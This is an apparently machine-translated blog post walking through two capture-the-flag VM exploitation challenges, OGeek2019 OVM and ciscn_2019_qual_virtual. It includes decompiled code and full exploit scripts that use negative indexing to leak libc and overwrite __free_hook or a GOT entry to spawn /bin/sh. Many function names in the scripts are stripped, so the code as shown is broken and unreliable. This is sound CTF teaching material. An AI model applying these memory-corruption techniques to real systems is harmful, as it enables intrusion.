Preface:
It's been a long time since I've updated my blog, and I've been learning about vm off and on, and I've only seen a few topics, but I'd still like to summarize, the so-called vmpwn is to apply for a piece of free to realize the relevant functions individually for the outgoing and incoming stack, registers, bss segments and so on, that is to say some assembly commands are realized by some functions, and the majority of vmpwn's entry points are mostly insecure subscripts. Leak something or modify something through subscripts, etc. .....
Here are some simple topics for vmpwn, but some very complex topics require strong reverse skills and slow analysis
[OGeek2019 Final]OVM
protection strategy
ida reverse
PC Program Counter, which holds a memory address that holds the next computer instruction to be executed. SP Pointer register that always points to the current stack top.
、
It is operated by the code instructions we enter, that is, the next code
The next step is to process the code we entered, specifically in the execute function.
ssize_t __fastcall execute(int a1)
{
ssize_t result; // rax
unsigned __int8 v2; // [rsp+18h] [rbp-8h]
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]
int i; // [rsp+1Ch] [rbp-4h]
//Here the bytes are divided into4for sb.,arev4,v3,v2and highs
v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1); //Here the high byte is taken to match
if ( HIBYTE(a1) == 0x70 )
{
result = (ssize_t)reg;
reg[v4] = reg[v2] + reg[v3]; // addition
return result;
}
if ( HIBYTE(a1) > 0x70u )
{
if ( HIBYTE(a1) == 0xB0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v2] ^ reg[v3]; // differentiation
return result;
}
if ( HIBYTE(a1) > 0xB0u )
{
if ( HIBYTE(a1) == 0xD0 )
{
result = (ssize_t)reg;
reg[v4] = (int)reg[v3] >> reg[v2]; // right shift
return result;
}
if ( HIBYTE(a1) > 0xD0u )
{
if ( HIBYTE(a1) == 0xE0 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL); // quit with the stack empty (i.e. when the stack is empty)
}
else if ( HIBYTE(a1) != 0xFF )
{
return result;
}
running = 0;
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", (unsigned int)i, (unsigned int)reg[i]);// Print data
return write(1, "HALT\n", 5uLL);
}
else if ( HIBYTE(a1) == 0xC0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v3] << reg[v2]; // shift left
}
}
else
{
switch ( HIBYTE(a1) )
{
case 0x90u:
result = (ssize_t)reg;
reg[v4] = reg[v2] & reg[v3];
break;
case 0xA0u:
result = (ssize_t)reg;
reg[v4] = reg[v2] | reg[v3];
break;
case 0x80u:
result = (ssize_t)reg;
reg[v4] = reg[v3] - reg[v2];
break;
}
}
}
else if ( HIBYTE(a1) == 0x30 )
{
result = (ssize_t)reg;
reg[v4] = memory[reg[v2]];
}
else if ( HIBYTE(a1) > 0x30u )
{
switch ( HIBYTE(a1) )
{
case 0x50u:
LODWORD(result) = reg[13];
reg[13] = result + 1;
result = (int)result;
stack[(int)result] = reg[v4];
break;
case 0x60u:
--reg[13];
result = (ssize_t)reg;
reg[v4] = stack[reg[13]];
break;
case 0x40u:
result = (ssize_t)memory;
memory[reg[v2]] = reg[v4];
break;
}
}
else if ( HIBYTE(a1) == 0x10 )
{
result = (ssize_t)reg;
reg[v4] = (unsigned __int8)a1;
}
else if ( HIBYTE(a1) == 0x20 )
{
result = (ssize_t)reg;
reg[v4] = (_BYTE)a1 == 0;
}
return result;
}
Here our input pc is given to reg[15], which is looped each time to match +1, and then proceeds to do the processing which is just the logic of the code above
Here's a python to see exactly what was taken (of course because I have a weak code base ....)
Then see the fetched actually 2,3,4 which is v4,v3,v2.
Then the analysis continues
So it's easy to see that the reg array is indexed by v2,v3 as subscripts.
But there is no limit on subscripts then it is possible to enter negative numbers to cause malicious data modification etc.
0x30 and 0x40, where the value of memory is taken to reg and the value of reg is taken to memory, respectively, but we can control their subscripts in the meantime.
Meanwhile, there's this.
We can assign and remove values to and from the reg.
Here, the value inside the reg is printed, but in groups of 4 digits.
Finally, free will be called to free what we type, so if we change the free_hook to system we can get the shell by typing /bin/sh.
Then you need to get a libc address, and it just so happens that you can get a libc address into the reg input earlier by using a negative subscript, and then do a print leak of the address
Here you can wrap the relevant function
def add(v4,v3,v2):
opcode = u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def xor(v4,v3,v2):
opcode = u32((p8(0xb0)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def rhl(v4,v3,v2):
opcode = u32((p8(0xd0)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def lhl(v4,v3,v2):
opcode = u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def readn(v4,v2):
opcode = u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
return opcode
def writen(v4,v2):
opcode = u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
return opcode
def setnum(v4,v2):
opcode = u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
return opcode
#n=(0x202060-0x201f80)/4 = 56
#-56 = 0xffffffc8
#-8
#stdin -> __free_hook = 0x2398
Since only 4 digits are available, only the lower and upper 4 digits can be taken separately
readn(4,2), #reg[4] = memory[reg[2]] stdin+4
setnum(1,0x10),
lhl(1,1,0), #reg[1] = reg[1]<<reg[0] = 0x10 << 8= 0x1000
This is used to leak the libc address of stdin, which in turn gets the address of the free_hook
Because the last data written to this
So you can store the address of the free_hook -8 here, and then you can getshell the
So the whole idea is to get the libc address by constructing a negative subscript, then construct the high and low bits to divulge the libc address, then get the free_hook -8 address based on the offset, and then continue to write the comment function through the high and low bits to get the shell
EXP:
from gt import *
con("amd64")
io = process("./OVM")
libc = ELF("/home/su/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.")
def add(v4,v3,v2):
opcode = u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def xor(v4,v3,v2):
opcode = u32((p8(0xb0)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def rhl(v4,v3,v2):
opcode = u32((p8(0xd0)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def lhl(v4,v3,v2):
opcode = u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
return opcode
def readn(v4,v2):
opcode = u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
return opcode
def writen(v4,v2):
opcode = u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
return opcode
def setnum(v4,v2):
opcode = u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
return opcode
#n=(0x202060-0x201f80)/4 = 56
#-56 = 0xffffffc8
#-8
#stdin -> __free_hook = 0x2398
code =[
setnum(0,8),# reg[0]=8
setnum(1,0xff), #reg[1]=0xff
setnum(2,0xff), #reg[2]=0xff
lhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xff << 0x8 =0xff00
add(2,2,1), #reg[2] = reg[2] + reg[1] = 0xff00 + 0xff = 0xffff
lhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xffff << 0x8 = 0xffff00
add(2,2,1), #reg[2] = reg[2] + reg[1] = 0xffff00 + 0xff = 0xffffff
lhl(2,2,0), #reg[2] = reg[2]<<reg[0] = 0xffffff << 0x8 = 0xffffff00
setnum(1,0xc8), #reg[3] = 0xc8
add(2,2,1), #reg[2] = reg[2] = reg[2]+reg[1] = 0xffffff00 + 0xc8 = 0xffffffc8 = -56
readn(3,2), #reg[3] = memory[reg[2]] stdin
setnum(1,1), #reg[1] = 1
add(2,2,1), #reg[2] = reg[2] + reg[1] = -55
readn(4,2), #reg[4] = memory[reg[2]] stdin+4
setnum(1,0x10),
lhl(1,1,0), #reg[1] = reg[1]<<reg[0] = 0x10 << 8= 0x1000
setnum(5,0x90),
setnum(6,0x3),
add(1,1,1),#reg[1] = reg[1] + reg[1] = 0x1000 + 0x1000 = 0x2000
lhl(6,6,0), #reg[6] = reg[6]<<reg[0] = 0x3<<8 = 0x300
add(1,1,6), #reg[1] = reg[1] + reg[6] = 0x2000+0x300= 0x2300
add(1,1,5), #reg[1] = reg[1] + reg[5] = 0x2300 + 0x90 = 0x2390
add(3,3,1), #reg[3] = reg[3] + reg[1] = __free_hook-8
setnum(5,47),
add(2,2,5), #reg[2] = reg[2] + reg[5] = -55+47 = -8
writen(3,2), #memory[reg[2]] = reg[3] = memory[-8] = reg[3]
setnum(5,1),
add(2,2,5), #reg[2] = reg[2] + reg[1] = -8 +1 = -7
writen(4,2) #memory[reg[2]] = reg[4] = memory[-7] = reg[4]
]
("PC: ")
(str(0))
("SP: ")
(str(1))
("CODE SIZE: ")
(str(len(code)))
for i in code:
(str(i))
("3: ")
last_4bytes = int((8),16)
suc("last_4bytes",last_4bytes)
("4: ")
high_4bytes = int((4),16)
suc("high_4bytes",high_4bytes)
libc_base = ((high_4bytes << 32) + last_4bytes) - ["__free_hook"] + 8
suc("libc_base",libc_base)
system = libc_base + ["system"]
(" OVM?\n")
payload = b'/bin/sh\x00' + p64(system)
#(io)
(payload)
()
ciscn_2019_qual_virtual
protection strategy
ida reverse analysis
It's still claiming space for stack, text, data, etc.
Here the corresponding bytes are converted by the relevant commands
Here the corresponding code is put into the text segment
After that, go to the appropriate function
Accepts three parameters, a1 is a pointer to a text segment structure, a2 is a pointer to a stack segment structure, and a3 is a pointer to a data segment structure.
Here's a look at the push function
Here a1,a2 is the original a3,a2.
8-byte set of opcodes, picked up upside down
Then the push function is to take a value from the data segment and give it to v3 and then give v3 to the stack.
pop is the opposite of
Focus on load and save
Accepts only one parameter which is the a3,data structure, that is to say, puts the data stuff plus the v2 offset to continue into data, and of course the value of v2 is also taken from inside the data
Of course save is the opposite operation, putting the value in data into v3, where v2 can still be controlled.
This question doesn't have got table full protection on, so you can change the got table of puts to system, then when you print the name later it will system("/bin/sh") to get the shell
Control the value of v2 to achieve negative indexing, so now there is a problem, because the stack pointer is stored in the heap block, so in order to achieve negative indexing to obtain the libc address then you need to modify the pointer first
The address taken here is the one shown below, and another thing to note is that the storage stack is stored in reverse order
Here 0xfffff.... value is -3, then the next save will take these two values, and -3 is the subscript will modify the data pointer to 0x4040d0
Here the two values of stack are taken into data, and then save modifies the data pointer
Here the offsets for stderr and system are taken.
stderr in the new pointer subscript is -1, then take -1 into data, then load into data
Continue to take an offset
add into data
Then finally push to the offset of the putsgot table, and then save to modify the putsgot table.
Finally, you can getshell
EXP:
from gt import *
con("amd64")
libc= ELF("/lib/x86_64-linux-gnu/.6")
io = process("./ciscn_2019_qual_virtual")
("name:")
("/bin/sh\x00")
# (io)
("instruction:")
offest = ["system"] - ["_IO_2_1_stderr_"]
payload = 'push push save push load push add push save'
(payload)
("data:")
data = [0x4040d0,-3,-1,offest,-21]
payload = ''
for i in data:
payload+= str(i)+' '
(io)
(payload)
()
Summary:
vmpwn learning is far more than that, here can only be counted as a primer, a general understanding of vmpwn analysis methods and some common vulnerabilities, etc., for these partial reversal of the topic need to have a certain degree of reversal of the foundation, for me it is still more strenuous to read to understand to be a very long time, but I suggest that coupled with the dynamic debugging to see more of the changes, or easy to understand the .... .vmpwn is on hold for now
reference article
VM Pwn Learning - Security Guest - Security Information Platform
Learning summary about vm pwn | ZIKH26's Blog